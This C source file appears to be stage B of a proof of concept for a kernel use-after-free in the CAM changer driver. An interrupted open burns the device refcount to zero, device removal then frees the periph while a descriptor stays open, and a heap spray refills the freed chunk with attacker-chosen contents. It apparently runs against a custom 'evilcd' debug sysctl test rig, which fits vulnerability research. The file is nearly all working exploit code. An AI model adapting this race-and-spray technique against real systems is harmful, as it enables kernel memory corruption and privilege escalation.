/* DF-5327 PoC stage B: premature free + attacker reallocation.
 *
 * With the refcount burned to 0 by the chopen() desync (stage A),
 * the ch device is OPEN with refcount == 0.  Device removal
 * (AC_LOST_DEVICE) then runs camperiphfree() immediately:
 * chcleanup() -> kfree(softc) and kfree(periph) while the fd is
 * still open.  The rig then sprays sizeof(struct cam_periph)
 * allocations and one lands at EXACTLY the freed periph address
 * with fully chosen contents (debug.evilcd.sprayfake).
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/sysctl.h>
#include <sys/wait.h>
#include <sys/chio.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>

static int
refcnt(void)
{
	int v = -999;
	size_t l = sizeof(v);

	sysctlbyname("debug.evilcd.refcnt", &v, &l, NULL, 0);
	return (v);
}

static void
sysctl_set(const char *name, int v)
{
	size_t l = sizeof(v);

	sysctlbyname(name, NULL, NULL, &v, l);
}

static void
postmortem(const char *tag)
{
	char buf[1024];
	size_t l = sizeof(buf);

	if (sysctlbyname("debug.evilcd.postmortem", buf, &l, NULL, 0) != 0)
		strlcpy(buf, "(sysctl failed)", sizeof(buf));
	printf("[parent] %s: %s\n", tag, buf);
}

static void
sigh(int sig)
{
	(void)sig;
}

int
main(void)
{
	pid_t p1, p2;
	int st, fd;

	setvbuf(stdout, NULL, _IONBF, 0);
	signal(SIGALRM, sigh);
	siginterrupt(SIGALRM, 1);

	sysctl_set("debug.evilcd.defer", 1);

	/* child 1: completes open#1 with refcount==0, keeps fd open */
	p1 = fork();
	if (p1 == 0) {
		fd = open("/dev/ch0", O_RDWR);
		if (fd < 0)
			_err(1, "open#1");
		printf("[child1] open#1 done, fd OPEN, refcount=%d "
		    "(*** 0: free-on-invalidate armed ***)\n", refcnt());
		/* hold the fd open across the invalidation */
		sleep(6);
		close(fd);
		printf("[child1] close on (freed) periph: refcount=%d\n",
		    refcnt());
		_exit(0);
	}
	sleep(2);

	/* child 2: interrupted open burns the ref */
	p2 = fork();
	if (p2 == 0) {
		alarm(1);
		open("/dev/ch0", O_RDWR);
		_exit(0);
	}
	waitpid(p2, &st, 0);
	sysctl_set("debug.evilcd.defer", 0);
	sleep(2);	/* open#1 completes: refcount 0, fd open */

	printf("[parent] pre-invalidate refcount=%d (fd open)\n", refcnt());

	/* device removal: refcount==0 -> camperiphfree NOW */
	sysctl_set("debug.evilcd.invalidate", 1);
	sleep(2);
	printf("[parent] invalidate done with the descriptor still open\n");
	postmortem("postmortem(freed)");

	/* attacker-side reallocation of the exact freed chunk */
	sysctl_set("debug.evilcd.sprayfake", 1);
	sleep(1);
	postmortem("postmortem(regroomed)");

	waitpid(p1, &st, 0);
	printf("[parent] done\n");
	return (0);
}
